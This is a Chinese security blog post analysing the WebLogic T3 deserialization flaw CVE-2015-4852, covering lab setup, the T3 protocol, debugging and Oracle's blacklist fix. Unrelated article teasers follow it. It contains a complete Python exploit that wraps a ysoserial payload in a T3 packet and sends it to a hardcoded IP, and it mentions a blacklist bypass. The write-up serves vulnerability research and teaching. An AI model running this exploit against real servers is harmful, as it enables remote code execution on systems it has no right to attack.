小工具      在线工具  汉语词典  css  js  c++  java

CVE-2015-4852 Weblogic T3 反序列化分析

oracle,数据库 额外说明

收录于:40天前

0x01 前言

我看到很多高手在面试的时候都提到了Weblogic的这个漏洞。最近正好有空闲,不妨看一下。

因为环境总会出现一些小问题,所以我在本地和云服务器上切换调试。

0x02 环境设置

  • 太混乱了。我的建议是使用本地构建方式,因为用docker构建会出现缺少依赖包的问题。本地施工指南 https://www.penson.top/article/av40

这里的环境安装使用的是奇安信A队小哥提供的脚本。不得不说真的是太方便了!省去了很多环境搭建的不必要的麻烦。

链接:https://github.com/QAX-A-Team/WeblogicEnvironment

下载对应版本的JDK和Weblogic,分别放入jdks和weblogics中。

JDK安装包下载地址:https://www.oracle.com/technetwork/java/javase/archive-139210.html

Weblogic安装包下载地址:https://www.oracle.com/technetwork/middleware/weblogic/downloads/wls-for-dev-1703574.html

我这里直接使用kali搭建。我需要先把jdk和weblogic放入文件夹中,如图

首先,我们需要重写Dockerfile。原作者写的Dockerfile有一个小问题。

# 基础镜像
FROM centos:centos7
# 参数
ARG JDK_PKG
ARG WEBLOGIC_JAR
# 解决libnsl包丢失的问题
# RUN yum -y install libnsl

# 创建用户
RUN groupadd -g 1000 oinstall && useradd -u 1100 -g oinstall oracle
# 创建需要的文件夹和环境变量
RUN mkdir -p /install && mkdir -p /scripts
ENV JDK_PKG=$JDK_PKG
ENV WEBLOGIC_JAR=$WEBLOGIC_JAR

# 复制脚本
COPY scripts/jdk_install.sh /scripts/jdk_install.sh 
COPY scripts/jdk_bin_install.sh /scripts/jdk_bin_install.sh 

COPY scripts/weblogic_install11g.sh /scripts/weblogic_install11g.sh
COPY scripts/weblogic_install12c.sh /scripts/weblogic_install12c.sh
COPY scripts/create_domain11g.sh /scripts/create_domain11g.sh
COPY scripts/create_domain12c.sh /scripts/create_domain12c.sh
COPY scripts/open_debug_mode.sh /scripts/open_debug_mode.sh
COPY jdks/$JDK_PKG .
COPY weblogics/$WEBLOGIC_JAR .

# 判断jdk是包(bin/tar.gz)weblogic包(11g/12c)载入对应脚本
RUN if [ $JDK_PKG == *.bin ] ; then echo ****载入JDK bin安装脚本**** && cp /scripts/jdk_bin_install.sh /scripts/jdk_install.sh ; else echo ****载入JDK tar.gz安装脚本**** ; fi
RUN if [ $WEBLOGIC_JAR == *1036* ] ; then echo ****载入11g安装脚本**** && cp /scripts/weblogic_install11g.sh /scripts/weblogic_install.sh && cp /scripts/create_domain11g.sh /scripts/create_domain.sh ; else echo ****载入12c安装脚本**** && cp /scripts/weblogic_install12c.sh /scripts/weblogic_install.sh && cp /scripts/create_domain12c.sh /scripts/create_domain.sh  ; fi

# 脚本设置权限及运行
RUN chmod +x /scripts/jdk_install.sh
RUN chmod +x /scripts/weblogic_install.sh
RUN chmod +x /scripts/create_domain.sh
RUN chmod +x /scripts/open_debug_mode.sh
# 安装JDK
RUN /scripts/jdk_install.sh
# 安装weblogic
RUN /scripts/weblogic_install.sh
# 创建Weblogic Domain
RUN /scripts/create_domain.sh
# 打开Debug模式
RUN /scripts/open_debug_mode.sh
# 启动 Weblogic Server
# CMD ["tail","-f","/dev/null"]
CMD ["/u01/app/oracle/Domains/ExampleSilentWTDomain/bin/startWebLogic.sh"]
EXPOSE 7001

然后启动环境

docker build --build-arg JDK_PKG=jdk-7u21-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=wls1036_generic.jar  -t weblogic1036jdk7u21 .

docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic1036jdk7u21 weblogic1036jdk7u21

然后把docker中的一些依赖文件夹拷贝出来,但是经过这一步的测试,感觉docker中的lib存在一定的问题,所以后面就直接引入weblogic库了。我会把相应的代码放在GitHub上。避免大师陷入陷阱。

0x03 基础知识

关于Weblogic

  • 我们先来说说Weblogic。 Weblogic 与 Tomcat 类似。从功能上来说,它是两个 Web 服务器和一个启动器。

和Tomcat不同的是Weblogic可以自己部署很多东西。要知道,在Tomcat中,这些都需要你自己去写代码。

T3协议

T3协议实际上是Weblogic内部的一个独特的协议。 Weblogic中使用T3协议进行RMI传输。在RMI传输中,传输的是一串序列化的数据。接收到这串数据后,进行反序列化操作。

T3协议包含两部分:请求头和请求体。

我们可以用CVE-2015-4852的EXP来解释

经验如下

import socket
import sys
import struct
import re
import subprocess
import binascii

def get_payload1(gadget, command):
    JAR_FILE = '.\ysoserial.jar'
    popen = subprocess.Popen(['java', '-jar', JAR_FILE, gadget, command], stdout=subprocess.PIPE)
    return popen.stdout.read()

def get_payload2(path):
    with open(path, "rb") as f:
        return f.read()

def exp(host, port, payload):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((host, port))

    handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n".encode()
    sock.sendall(handshake)
    data = sock.recv(1024)
    pattern = re.compile(r"HELO:(.*).false")
    version = re.findall(pattern, data.decode())
    if len(version) == 0:
        print("Not Weblogic")
        return

    print("Weblogic {}".format(version[0]))
    data_len = binascii.a2b_hex(b"00000000") #数据包长度,先占位,后面会根据实际情况重新
    t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006") #t3协议头
    flag = binascii.a2b_hex(b"fe010000") #反序列化数据标志
    payload = data_len + t3header + flag + payload
    payload = struct.pack('>I', len(payload)) + payload[4:] #重新计算数据包长度
    sock.send(payload)

if __name__ == "__main__":
    host = "81.68.120.14"
    port = 7001
    gadget = "Jdk7u21" #CommonsCollections1 Jdk7u21
    command = "Calc"

    payload = get_payload1(gadget, command)
    exp(host, port, payload)
  • • 这里有一个小坑。如果我直接运行py程序是不行的。它将回显 Not Weblogic。因为如果python socket频繁发送数据包,会被服务器拒绝,所以需要在debug模式下运行。当然,补充睡眠应该是可以的。

Weblogic请求头

我们需要通过Wireshark对这个流量包进行抓包操作。随后抓包的请求头如图

这个是它的请求包的头部

t3 12.2.1 AS:255 HL:19 MS:10000000 PU:t3://us-l-breens:7001

发送请求头后,服务器Weblogic将得到一个响应,内容如下:

HELO:10.3.6.0.false
AS:2048
HL:19

HELO后面的内容是被攻击方的Weblogic版本号。也就是说,发送正确的请求头后,服务器会返回Weblogic版本号。

Weblogic请求体

请求体,即发送的数据,分为七部分。下面是z_zz_zzz大师的文章《修复weblogic中JAVA反序列化漏洞的多种方法》的图片。

第一个非 Java 序列化数据,也就是我们的请求头:t3 12.2.1 AS:255 HL:19 MS:10000000 PU:t3://us-l-breens:7001

后面第n部分的数据其实不限。也就是说,我可以只拥有一部分Java序列化数据,也可以拥有七部分Java序列化数据。这并不重要。我们可以看一下Wireshark的抓包。包裹

在 ac ed 00 05 之后的内容便是序列化的数据,所以如果我们要进行攻击,应该是对于这一串序列化的数据进行恶意构造,让服务端在反序列化的时候发起攻击。

  • •这里,如果有多个Java序列化数据,则可以攻击其中任何一个。

0x04 漏洞分析与调试

寻找尾部漏洞点

毕竟是反序列化漏洞。想了想,我从两点入手。

1.有Jndi注入吗? 2. 是否存在可以执行命令的漏洞利用点?

Jndi注入链尾探索

怀着这样的思路,先全局搜索 Jndi 关键词,感觉我这样的做法应该很不精准,但是暂时找不到其他好的方法,应该是要借助一些插件或者工具什么的了。

这里有一个 JndiServiceImpl 类,看着不错,点进去看看,它的 invoke() 方法同样吸引人,点过去之后发现疑似存在 jndi 注入

不过这里虽然参数 ———— this.implJndiName 是可控的,但是无法进行攻击,因为只能对 java:comp/env/ 进行探测,无法对 rmi, jndi, ldap 三者进行有效的调用,初步告吹了。

重新换一个类,这里我找到的是 JndiAttrs 类,在它的构造函数中存在调用 ldap 的现象,在第 40 行

从第六个字符开始截取,存在一些绕过手法,这个并不要紧,而 providerURL 最后会被 put 进 env 当中,env 是一个 Properties 类

 继续往下分析,env 作为 InitialDirContext 类的构造函数的传参。

一路跟进,是到了 InitialContext 的构造函数,跟进 init() 方法

跟进 getDefaultInitCtx() 方法,再跟进 NamingManager.getInitialContext(myProps),发现只是 loadClass 了一个对象,寄,白给。

链条末端还有很多其他尝试,高手可以自行尝试。我只是提供一些想法。由于篇幅限制,接下来的内容我们将重点分析Weblogic CVE-2015-4852的漏洞。

漏洞分析

通过命令 ls -r ./* | grep -i commons,抑或是通过 maven dependency analyze,都可以分析得到 weblogic 10.3.6 的包里面包含有 Commons Collections 3.2.0 的包。

所以我们现在已经有了链尾,需要寻找一个合适的入口类,这里就直接借用其他师傅们的研究成果了,反序列化的入口类是在 InboundMsgAbbrev#readObject 处,下个断点开始调试。

  • Weblogic T3 对 RMI 传递过来的数据的处理还是比较复杂,但是有了之前 z_zz_zzz 文章中的图,就可以变得简单很多了。

开始调试

先跟进 ServerChannelInputStream 的构造函数,ServerChannelInputStream 这个类的作用是处理服务端收到的请求头信息

继续跟进 getServerChannel() 方法

我们可以关注一下目前的 this.connection 是什么

connection 是 weblogic.rjvm.t3.MuxableSocketT3$T3MsgAbbrevJVMConnection@49be5302 这个类,在 this.connection 中主要存储了一些 RMI 连接的数据,包括端口地址等

跟进 getChannel() 方法,开始处理 T3 协议

  • • T3 头处理结束,重新回到 InboundMsgAbbrev#readObject 处,跟进 readObject() 方法

一路跟进至 InboundMsgAbbrev#resolveClass() 中,这里的调用栈如下

resolveClass:108, InboundMsgAbbrev$ServerChannelInputStream (weblogic.rjvm)
readNonProxyDesc:1610, ObjectInputStream (java.io)
readClassDesc:1515, ObjectInputStream (java.io)
readOrdinaryObject:1769, ObjectInputStream (java.io)
readObject0:1348, ObjectInputStream (java.io)
readObject:370, ObjectInputStream (java.io)
readObject:66, InboundMsgAbbrev (weblogic.rjvm)
read:38, InboundMsgAbbrev (weblogic.rjvm)

resolveClass() 方法是用来处理类的,这些类在经过反序列化之后会走到 resolveClass() 方法这里,此时的 var1,正是我们的 AnnotationInvocationHandler 类

这时候的 AnnotationInvocationHandler 类并不会被直接拿去反序列化,因为 Weblogic 服务端需要先加载所有反序列化的内容。在将所有数据反序列化解析完毕之后(也可以说只是做了 Class.forName() 的操作之后),才会开始进行真正的反序列化

接下来就是大家熟悉的CC1链节,这里不再展开。

PoC理解

PoC的本质是将ysoserial生成的payload转换成T3协议中的数据格式。有几件事我们需要写。

1、Header,这代表了数据包长度 2、T3 Header 3、反序列化标志,也就是 fe 01 00 00

这就是这三段的由来

header = binascii.a2b_hex(b"00000000")
t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006")
desflag = binascii.a2b_hex(b"fe010000")

0x05 错误修复

在resolveClass处打补丁

在前面分析的过程中,我们能够看出来,加载类其实是通过调用 resolveClass() 方法,再通过反射获取到任意类的,所以官方选择了基于 resolveClass() 去做黑名单校验。

如果在 resolveClass() 处加入一个过滤,在 readNonProxyDesc 调用完 resolveClass 方法后,后面的反序列化操作无法完成。

通过Web代理和负载均衡(例如nginx)进行防御

Web代理方式只能转发HTTP请求,不能转发T3协议请求,可以防止T3漏洞攻击。当然,这对业务的影响是巨大的。负载均衡也是如此,只不过负载均衡需要手动设置。

黑名单绕过

Oracle官方对CVE-2015-4852的修复是通过黑名单来限制的。

黑名单中的类不会被反序列化

绕过思路如下

 其实就是由 ServerChannelInputStream 换到了自身的 ReadExternal#InputStream,这一个 bypass 也被收录为 CVE-2016-0638;后续会对这一个漏洞进行分析。

0x06 摘要

从原理上看比较简单,但是了解T3的传输以及构造恶意PoC的过程还是值得学习的。 CVE-2015-4852 提供了一些类似攻击的思路。

. . .

相关推荐

额外说明

SpringBoot开始自动执行sql脚本

在开发当中我们每次发布服务都需要手动执行脚本,然后重启服务,而SpringBoot有服务启动自动执行sql脚本的功能的,可以为我们省去手动执行脚本的这一步,只需要部署新的服务即可。 这个功能是SpringBoot自带的不需要引入额外的依赖! 目录 一、功

额外说明

项目数据库选型——分布式数据库

QQ 1274510382 Wechat JNZ_aming 商业联盟 QQ群538250800 技术搞事 QQ群599020441 解决方案 QQ群152889761 加入我们 QQ群649347320 共享学习 QQ群674240731 纪年科技am

额外说明

cAdvisor监控docker容器

背景 一句话说明需求: Prometheus监控单台容器,而不是K8S集群时,推荐使用cAdvisor。 使用cAdvisor容器监控docker容器指标,需要拉取来自DockerHub或gcr.io的cAdvisor镜像。 cAdvisor镜像的不同版

额外说明

C语言循环之for

C语言除了while循环,还有一个用的更多的循环,那就是for循环。 for (语句1; 语句2; 语句3) { code; // 代码块 } for循环的理解:while循环的一个集中写法,即循环三要素都写在一行.1.for循环更容易看清循环

额外说明

ch5_3io接口

硬件接口 软件接口 硬件与软件之间的接口, 这里主要介绍,主机和io设备之间的接口。 1. io 接口 接口和端口是两个不同的概念,若干个端口加上相应的控制逻辑才能组成接口。 使用总线的方式,完成外部设备和系统主机之间的连接。 外部设备需要有地址, 主机

额外说明

Git生成ssh公钥(ssh key)以及在GitLab配置ssh公钥

前言 Git真的是个好东西,现在很多公司都会选择Git作为代码的版本控制工具,然后公司会搭建自己私有的GitLab来进行项目代码的管理。比如我在的这个公司,在clone代码的时候选择使用ssh协议来拉取代码。 下面我们来进行正文,如何使用Git生成ssh

额外说明

Spring如何使用三级缓存解决循环依赖问题?

Spring框架中采用了"三级缓存"(三级缓存是一种缓存解决循环依赖的数据结构)来解决循环依赖问题,其中缓存包括singletonObjects、earlySingletonObjects和singletonFactories。 第一级缓存 - sing

额外说明

项目一:初探Spring框架

文章目录 一、Web开发技术 二、Spring框架 (一)Spring官网 (二)Spring框架优点 (三)为什么要选择Spring? (四) Spring框架因何而来 (五)Spring框架核心概念 1、IoC(Inversion of Contro

额外说明

打开软件提示找不到lzexpand.dll文件怎么办?

其实很多用户玩单机游戏或者安装软件的时候就出现过这种问题,如果是新手第一时间会认为是软件或游戏出错了,其实并不是这样,其主要原因就是你电脑系统的该dll文件丢失了或没有安装一些系统软件平台所需要的动态链接库,这时你可以下载这个lzexpand.dll文件

额外说明

idea中Mybatis自动生成pojo、mapper.xml、接口

1.在idea中安装插件 2、maven项目中的资源中创建generatorConfig.xml 配置generatorConfig.xml <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE generat

ads via 小工具